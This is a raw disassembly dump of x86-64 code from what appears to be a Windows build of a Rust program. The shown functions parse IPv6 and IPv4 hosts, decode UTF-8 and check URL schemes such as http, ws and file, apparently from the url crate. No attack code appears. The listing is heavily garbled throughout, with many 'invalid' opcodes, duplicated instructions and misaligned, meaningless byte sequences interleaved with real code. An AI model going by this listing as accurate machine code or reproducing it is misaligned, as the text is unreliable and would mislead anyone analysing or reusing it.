add rsp, 0x28
pop rdi
pop rsi
ret
and eax, 0x8d480001
add eax, 0x7bf43
mov qword [rsp + 0x20], rax
mov r8d, 1
mov r9, rdx
call fcn.1401087e0
int3
add dword [rax], eax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.140107fc0
int3
mov word [rcx], 0x401
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
cmp r11, r8
jae 0x1400f65a7
cmp rax, 8
je 0x1400f638c
cmp byte [rdx + r11], 0x3a
je 0x1400f6492
lea r14, [r11 + 4]
cmp r8, r14
cmovb r14, r8
xor edi, edi
mov rbx, r11
cmp r11, r14
jb 0x1400f641d
jmp 0x1400f6450
nop word cs:[rax + rax]
shl edi, 4
or edi, ebp
inc rbx
cmp r14, rbx
je 0x1400f6470
movzx r15d, byte [rdx + rbx]
lea ebp, [r15 - 0x30]
cmp ebp, 0xa
jb 0x1400f6410
or r15d, 0x20
add r15d, 0xffffff9f
add r15d, 0xa
cmovb r15d, esi
mov ebp, r15d
cmp r15d, 0xf
jbe 0x1400f6410
nop word cs:[rax + rax]
cmp rbx, r8
jae 0x1400f6478
movzx ebp, byte [rdx + rbx]
cmp ebp, 0x3a
jne 0x1400f64ad
inc rbx
mov r11, rbx
cmp rbx, r8
jne 0x1400f647b
jmp 0x1400f638c
mov rbx, r14
cmp rbx, r8
jb 0x1400f6455
mov r11, rbx
cmp rax, 7
ja 0x1400f6797
mov word [rsp + rax*2 + 0x20], di
inc rax
jmp 0x1400f63d0
test r9b, 1
jne 0x1400f638c
test eax, esi
invalid
invalid
invalid
test eax, esi
invalid
inc r11
inc rax
mov r9b, 1
mov r10, rax
jmp 0x1400f63d0
cmp ebp, 0x2e
jne 0x1400f638c
cmp rbx, r11
je 0x1400f638c
invalid
dec dword [rax - 0x7d]
clc
invalid
cmp rax, 6
ja 0x1400f638c
cmp r11, r8
jae 0x1400f638c
invalid
invalid
invalid
xor esi, esi
test esi, esi
jle 0x1400f64ef
cmp esi, 4
jae 0x1400f638c
invalid
invalid
invalid
invalid
cmp byte [rdx + r11], 0x2e
jne 0x1400f638c
inc r11
cmp r11, r8
jae 0x1400f638c
movzx ebx, byte [rdx + r11]
add bl, 0xd0
cmp bl, 9
ja 0x1400f638c
movzx edi, bl
inc r11
mov r14, r11
cmp r11, r8
mov r11, r8
je 0x1400f656d
nop word [rax + rax]
movzx r11d, byte [rdx + r14]
add r11b, 0xd0
cmp r11b, 0xa
jae 0x1400f6561
test di, di
je 0x1400f638c
add edi, edi
lea ebp, [rdi + rdi*4]
movzx edi, r11b
add edi, ebp
movzx r11d, di
cmp r11d, 0xff
ja 0x1400f638c
inc r14
cmp r8, r14
jne 0x1400f6520
mov r11, r8
jmp 0x1400f656d
mov r11, r14
cmp bl, 0xa
jae 0x1400f638c
cmp rax, 8
jae 0x1400f67ab
movzx ebx, word [rsp + rax*2 + 0x20]
shl ebx, 8
add edi, ebx
mov word [rsp + rax*2 + 0x20], di
mov edi, esi
invalid
or edi, 2
cmp edi, 3
jne 0x1400f6593
inc rax
inc esi
cmp r11, r8
jb 0x1400f64d4
cmp esi, 4
jne 0x1400f638c
test r9b, 1
je 0x1400f6752
add dword [rax], eax
invalid
mov rdx, rax
sub rdx, r10
je 0x1400f675c
lea r9, [rax - 1]
cmp r9, 8
jae 0x1400f67c2
movzx r8d, word [rsp + 0x2e]
movzx r9d, word [rsp + rax*2 + 0x1e]
mov word [rsp + 0x2e], r9w
mov word [rsp + rax*2 + 0x1e], r8w
mov r9, rdx
dec r9
je 0x1400f675c
dec r10
add r9, r10
cmp r9, 7
cmp ecx, 7
cmp ecx, 7
ja 0x1400f67c2
movzx eax, word [rsp + 0x2c]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2c], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffe
je 0x1400f675c
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 1], cl
add r9, r10
cmp r9, 7
add r9, r10
cmp r9, 7
ja 0x1400f67c2
movzx eax, word [rsp + 0x2a]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2a], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffd
je 0x1400f675c
add r9, r10
cmp r9, 7
ja 0x1400f67c2
xchg dword [rcx + 1], esp
add byte [rax], al
xchg dword [rcx + 1], esp
add byte [rax], al
movzx eax, word [rsp + 0x28]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x28], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffc
je 0x1400f675c
add r9, r10
cmp r9, 7
ja 0x1400f67c2
movzx eax, word [rsp + 0x26]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x26], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffb
je 0x1400f675c
add r9, r10
cmp r9, 7
ja 0x1400f67c2
movzx eax, word [rsp + 0x24]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x24], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffa
je 0x1400f675c
add r9, r10
cmp r9, 7
ja 0x1400f67c2
movzx eax, word [rsp + 0x22]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x22], r8w
mov word [rsp + r9*2 + 0x20], ax
mov rax, rdx
add rax, 0xfffffffffffffff9
je 0x1400f675c
add r10, rax
cmp r10, 7
ja 0x1400f67bf
movzx eax, word [rsp + 0x20]
movzx r8d, word [rsp + r10*2 + 0x20]
mov word [rsp + 0x20], r8w
mov word [rsp + r10*2 + 0x20], ax
cmp rdx, 8
je 0x1400f675c
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
lea eax, [0x140172268]
mov edx, 8
mov rcx, 0xffffffffffffffff
call fcn.1401082d0
cmp rax, 8
jne 0x1400f638c
pxor xmm0, xmm0
movdqa xmm1, xmmword [rsp + 0x20]
outsd dx, dword [rsi]
and al, 0x20
outsd dx, dword [rsi]
and al, 0x20
movdqa xmm2, xmm1
punpckhbw xmm2, xmm0
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm2, xmm2, 0xb1
pshufw mm2, mm2, 0xb1
pshufw mm2, mm2, 0xb1
punpcklbw xmm1, xmm0
pshuflw xmm0, xmm1, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm2
movdqu xmmword [rcx + 1], xmm0
mov byte [rcx], 0
jmp 0x1400f6391
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.1401082d0
mov r9, r10
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, r9
call fcn.1401082d0
int3
or byte [r8 + 1], r9b
invalid
add byte [rax + 1], cl
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
adc eax, 0x7b349
jmp fcn.140013bb0
or byte [rax - 0xb7c7ec], cl
invalid
and al, 0x2c
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x1400f6afb
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106250
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140109710
mov rbx, qword [rsi + 0x10]
jmp 0x1400f6ad8
lea rdx, [r8 + 1]
mov rbp, rdx
sub rbp, r8
invalid
add rbp, rax
cmp r9d, 0x21
jae 0x1400f6d46
invalid
mov rax, rbp
cmp rdx, rcx
je 0x1400f6d3b
mov r8, rdx
movzx edx, byte [rdx]
movzx r9d, dl
mov dh, 0xca
mov dh, 0xca
test r9b, r9b
jns 0x1400f6c90
mov r10d, r9d
and r10d, 0x1f
movzx ebp, byte [r8 + 1]
and ebp, 0x3f
cmp r9b, 0xdf
jbe 0x1400f6d15
movzx r11d, byte [r8 + 2]
shl ebp, 6
and r11d, 0x3f
or r11d, ebp
cmp dl, 0xf0
jb 0x1400f6d28
lea rdx, [r8 + 4]
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
jne 0x1400f6c94
jmp 0x1400f6d4b
lea rdx, [r8 + 2]
shl r10d, 6
or r10d, ebp
mov r9d, r10d
jmp 0x1400f6c94
lea rdx, [r8 + 3]
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
jmp 0x1400f6c94
xor r8d, r8d
mov rbp, rax
mov rdx, rcx
jmp 0x1400f6d72
mov r8b, 1
jmp 0x1400f6d72
xor r8d, r8d
mov rbp, rax
jmp 0x1400f6d72
lea rcx, [r9 - 1]
movzx r10d, r10b
movzx edx, dl
movzx edx, dl
cmp r10d, 0x20
ja 0x1400f6e02
cmp rdx, rcx
cmp edx, ecx
je 0x1400f6de7
mov r9, rcx
movzx r10d, byte [rcx - 1]
test r10b, r10b
jns 0x1400f6d60
movzx r11d, byte [r9 - 2]
cmp r11b, 0xc0
jge 0x1400f6db2
movzx r14d, byte [r9 - 3]
cmp r14b, 0xbf
invalid
jg 0x1400f6dbc
mov edi, 0x8d49227f
cld
lea rcx, [r9 - 4]
movzx esi, byte [r9 - 4]
and esi, 7
shl esi, 6
and r14d, 0x3f
or r14d, esi
jmp 0x1400f6dc4
lea rcx, [r9 - 2]
and r11d, 0x1f
jmp 0x1400f6dcf
lea rcx, [r9 - 3]
and r14d, 0xf
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
shl r11d, 6
and r10b, 0x3f
movzx r10d, r10b
movzx edx, dl
movzx edx, dl
or r10d, r11d
cmp r10d, 0x110000
add byte [rbp - 0x7f], dh
add byte [rbp - 0x7f], dh
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
cmove rbp, rcx
lea r14, [rdi + rax]
test r15, r15
jne 0x1400f6e1e
jmp 0x1400f6f19
sub rbp, rdx
add rbp, r9
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
lea r14, [rdi + rax]
test r15, r15
je 0x1400f6f19
mov rcx, rbp
sub rcx, rax
cmp rcx, r12
jae case.0x14001a5bd.3527
mov rcx, r15
mov dl, 1
call qword [r13 + 0x28]
lea rax, [rdi + rbp]
mov ecx, 0x2600
mov rdx, r14
jmp 0x1400f6e6a
add rdx, 2
shl r9d, 6
or r9d, r12d
mov r8d, r9d
cmp r8d, 0xd
ja 0x1400f6e6a
nop word cs:[rax + rax]
bt ecx, r8d
jb 0x1400f6f10
cmp rdx, rax
je 0x1400f6f19
invalid
add byte [rdi + rcx - 0x4a], al
sbb al, byte [rbp + 0xf]
mov dh, 0xc3
test r8b, r8b
js 0x1400f6e90
inc rdx
cmp r8d, 0xd
jbe 0x1400f6e60
jmp 0x1400f6e6a
mov r9d, r8d
and r9d, 0x1f
movzx r12d, byte [rdx + 1]
and r12d, 0x3f
cmp r8b, 0xdf
jbe 0x1400f6e40
movzx r10d, byte [rdx + 2]
shl r12d, 6
and r10d, 0x3f
or r10d, r12d
cmp r11b, 0xf0
jb 0x1400f6ef3
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
invalid
je 0x1400f6f19
add byte [rcx + rdi + 0x48], dh
add edx, 4
add rdx, 4
cmp r8d, 0xd
cmp eax, 0xd
jbe 0x1400f6e60
jmp 0x1400f6e6a
invalid
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
mov eax, edx
mov eax, edx
cmp r8d, 0xd
jbe 0x1400f6e60
jmp 0x1400f6e6a
mov rcx, r15
mov dl, 9
call qword [r13 + 0x28]
add rdi, rbp
mov eax, 0x2600
mov rcx, r14
int1
int1
jmp 0x1400f6f58
ja 0x1400f7000
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7000
cmp r8d, 0x110000
jne 0x1400f7010
cmp rcx, rdi
je 0x1400f7261
mov eax, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400f6fcc
movzx r9d, byte [rcx + 2]
shl r11d, 6
invalid
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f6fe5
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f7261
add rcx, 4
cmp edx, 0xd
jbe 0x1400f6f3c
jmp 0x1400f7000
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f6f3c
jmp 0x1400f7000
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
retf 0xfa83
or eax, 0xff40860f
invalid
invalid
retf 0xfa83
or eax, 0xff40860f
invalid
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
add byte [rdi], cl
test byte [rax - 1], cl
invalid
invalid
add byte [rdi], cl
test byte [rax - 1], cl
invalid
mov eax, 0x2600
mov rcx, r14
int1
int1
jmp 0x1400f7048
ja 0x1400f70f0
mov r8d, 0x110000
bt eax, edx
jae 0x1400f70f0
cmp r8d, 0x110000
jne 0x1400f7100
cmp rcx, rdi
je 0x1400f7261
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400f7020
mov dh, 0x49
add al, byte [rcx - 0x3f]
jrcxz 0x1400f7081
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f70d5
fld dword [rcx - 0x80]
cli
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
invalid
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
invalid
cli
add byte [rax], al
adc dword [rax], eax
je 0x1400f7261
add rcx, 4
cmp edx, 0xd
invalid
or eax, 0xff72860f
invalid
jbe 0x1400f702c
jmp 0x1400f70f0
rol dword [rdx], 0x41
shl eax, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f702c
pop rcx
invalid
invalid
invalid
pop rcx
invalid
add rcx, 3
shl r8d, 0xc
shl eax, 0xc
shl eax, 0xc
or al, 0x45
or ecx, eax
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
jbe 0x1400f702c
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x1400f7048
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r8d, 0x19
ja 0x1400f7261
add qword [r8], r8
invalid
add qword [r8], r8
add byte [rbp + rcx*4 - 0x44], cl
and al, 8
add dword [rax], eax
add byte [rbp + 0x2600], bh
lea r15, [rsp + 0x108]
mov ebp, 0x2600
mov rbx, r14
jmp 0x1400f7140
mov edx, eax
or edx, 0x20
cmp ecx, 0x1a
stc
invalid
stc
sbb cl, byte [rdi]
cmovae edx, eax
mov rcx, r15
cmovae edx, eax
mov rcx, r15
call fcn.1400f6a00
nop word [rax + rax]
cmp rbx, rdi
je case.0x1400df4a7.121
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
add eax, dword [rcx + 0xf]
mov dh, 0xc0
movzx r8d, byte [rbx]
movzx eax, r8b
mov dh, 0xc0
test al, al
js case.0x1400d8aa8.333
inc rbx
cmp eax, 0xd
jbe 0x1400f71c5
or eax, 0x9ee96876
jmp 0x1400f7200
sahf
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x1fe183c1], cl
mov ecx, eax
and ecx, 0x1f
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
movzx ecx, byte [rbx + 1]
add dword [rcx - 0x7d], eax
loope 0x1400f71bd
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f71d0
movzx edx, byte [rbx + 2]
shl r9d, 6
loope 0x1400f7190
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
clc
invalid
clc
invalid
jb 0x1400f71e3
movzx eax, byte [rbx + 3]
add rbx, 4
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f748e
add byte [rax], al
add byte [rbx + 0x3b770df8], al
bt ebp, eax
jb 0x1400f7140
movabs dword [0xebffffff72820fc5], eax
xor byte [rax - 0x7d], cl
ret
jmp 0x1400f7200
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f71c5
jmp 0x1400f7200
add rbx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f71c5
nop word cs:[rax + rax]
cmp eax, 0x110000
je 0x1400f7140
lea edx, [rax - 0x61]
lea ecx, [rax - 0x41]
cmp edx, 0x1a
jb 0x1400f7124
cmp ecx, 0x1a
jb 0x1400f7124
mov qword [rsp + 0x118], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x120]
test rbx, rbx
je 0x1400f7406
invalid
mov eax, 0x2600
mov rcx, r14
jmp case.0x1400db908.255
test byte [rax], al
add byte [rax], al
add byte [rax], al
inc rcx
cmp edx, 0xd
cli
or eax, 0xc4870f
add byte [rax], al
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7350
invalid
mov ch, 0
add byte [rax], al
xor dword [rbp + 0x41000000], 0xffffff81
clc
add byte [rax], al
add byte [rcx], dl
add byte [rdi], cl
invalid
invalid
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
test dword [rax + 0x48000000], edi
cmp rcx, rdi
cmp rcx, rdi
je 0x1400f73d2
movzx r10d, byte [rcx]
movzx edx, r10b
invalid
test dl, dl
rol byte [rdx + rdx*8 - 0x76be3c87], cl
rol byte [rcx - 0x7d], 1
loopne 0x1400f72e3
jns 0x1400f7280
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x1400f730c
cmp dl, 0xdf
jbe 0x1400f731c
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
invalid
cmp r10b, 0xf0
cmp dl, 0xf0
jb 0x1400f7335
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
invalid
adc al, byte [rcx - 0x3f]
loope case.0x1400dbd41.231
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
adc dword [rax], eax
adc dword [rax], eax
je 0x1400f73d2
add byte [rax], al
add byte [rax - 0x7d], cl
rol dword [rbx + rax*4], 0xfa
add al, 0x83
cli
add rcx, 4
cmp edx, 0xd
jbe case.0x1400db7f3.262
jb 0x1400f7317
invalid
invalid
add al, 0x83
cli
or eax, 0xff72860f
jb 0x1400f7317
invalid
invalid
jmp 0x1400f7350
add rcx, 2
shl r8d, 6
or r8d, r11d
fadd dword [rcx + rcx*4 - 0x3e]
cmp edx, 0xd
or eax, 0xff59860f
invalid
invalid
or eax, 0xff59860f
invalid
invalid
add rcx, 3
shl r8d, 0xc
loopne 0x1400f7349
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
cli
invalid
cli
or eax, 0xff40860f
invalid
xchg byte [rax - 1], al
invalid
jbe case.0x1400db7f3.262
invalid
mov r8d, edx
cmp r8d, 0x110000
je case.0x1400db908.255
cmp r8d, 0x23
jne 0x1400f73d2
clc
and esi, dword [rbp + 0x6c]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
add byte [rax], al
movups xmm0, xmmword [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
add byte [rax], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
mov r9, r14
call fcn.1400fd910
jmp 0x1400f7e6a
add byte [rax], al
add byte [rax], al
mov r9d, dword [rbx + 0x2c]
mov r8d, r9d
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
inc r8d
je 0x1400f740c
mov al, 6
jmp 0x1400f743c
je 0x1400f753e
cmp rdx, r9
jbe 0x1400f7538
cmp byte [rcx + r9], 0xbf
jg 0x1400f753e
jmp case.0x1400a4d60.1262
add al, 0
add byte [rax - 0x75], cl
and al, 0x68
mov byte [rcx + 8], al
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0x108], 0
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x108], 0
je 0x1400f7e6a
test byte [rdx], cl
or al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x10
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0x8adf1
int1
lodsd eax, dword [rsi]
or byte [rax], al
or cl, byte [rdx]
add byte [rax], al
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x140182260]
int1
lodsd eax, dword [rsi]
or byte [rax], al
xor edx, edx
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rdi
cmp byte [rsp + 0x148], 1
add dword [rax], eax
add byte [rcx], al
add byte [rcx], al
jne 0x1400f724d
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
and al, 0x18
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], dl
add byte [rax], al
and al, 0x18
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], dl
add byte [rax], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xd0], xmm1
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x100], rax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ebx
and al, 0xf0
add byte [rax], al
invalid
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ebx
and al, 0xf0
add byte [rax], al
invalid
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], edx
loopne 0x1400f74e2
add byte [rax], al
movaps xmmword [rsp + 0xe0], xmm2
loopne 0x1400f74e2
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm0
mov r14, qword [rsp + 0xd0]
mov rax, r14
shr rax, 0x20
jne 0x1400f7626
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rcx - 0x73], al
inc byte [rbx + 0x1e7703f8]
ja 0x1400f7530
lea rcx, [0x140178fd0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdx, qword [rsp + 0xc8]
lea eax, [r14 - 2]
cmp eax, 3
ja 0x1400f7530
movzx eax, word [rdx]
cmp eax, 0x7377
je 0x1400f76d1
mov bpl, 2
jmp 0x1400f76d4
jne case.0x1400a4d60.1262
mov rdx, r9
call fcn.1400fdbc0
test al, al
je 0x1400f75ba
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fca70
jmp 0x1400f7e6a
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fb3a0
jmp 0x1400f7e6a
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0xc0], 0
je 0x1400f7e6a
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400f7e6a
cmp dword [rdx], 0x70747468
je 0x1400f76d1
mov eax, dword [rdx]
bswap eax
xor ecx, ecx
cmp eax, 0x66696c66
setae cl
cmp eax, 0x66696c65
sbb ecx, 0
setne bpl
add bpl, bpl
jmp 0x1400f76d4
mov eax, 0x70747468
xor eax, dword [rdx]
movzx ecx, byte [rdx + 4]
xor ecx, 0x73
or ecx, eax
jmp 0x1400f76c6
movzx eax, word [rdx]
xor eax, 0x7377
movzx ecx, byte [rdx + 2]
xor ecx, 0x73
or cx, ax
invalid
je 0x1400f76d1
sal dword [rbp + rbx + 0xf], 0xb7
add dh, byte [0x1400feb22]
movzx eax, word [rdx]
xor eax, 0x7466
movzx ecx, byte [rdx + 2]
xor ecx, 0x70
or cx, ax
sete al
mov bpl, 2
sub bpl, al
jmp 0x1400f76d4
mov bpl, 1
cmp r14, qword [rsp + 0xc0]
jne 0x1400f76f3
lea rcx, [rsp + 0xc0]
call fcn.1400ba350
mov rdx, qword [rsp + 0xc8]
mov byte [rdx + r14], 0x3a
xor bh, byte [rdx]
lea rax, [r14 + 1]
mov qword [rsp + 0xd0], rax
test bpl, bpl
je 0x1400f7802
movzx eax, bpl
cmp eax, 2
jne 0x1400f7892
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
add byte [rax - 0x77], cl
pop rsp
and al, 0x70
add byte [rax - 0x77], cl
pop rsp
and al, 0x70
mov qword [rsp + 0x78], rdi
lea rcx, [0x1401723a0]
lea r8, [rsp + 0x70]
mov edx, 2
add al, ch
push rsi
or byte [rax], al
add byte [rax + rax*8 + 0x24c840f], al
add byte [rax], al
add al, ch
push rsi
or byte [rax], al
add byte [rax + rax*8 + 0x24c840f], al
add byte [rax], al
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], cl
add byte [rax], al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], cl
add byte [rax], al
add byte [rax], al
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
pushfq
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
add byte [rax], al
invalid
pushfq
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], edx
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 2
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
jmp 0x1400f7e65
invalid
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xf0
add byte [rax], al
add byte [rbp - 0x7b], cl
div byte [rbp + rsi + 0x4c]
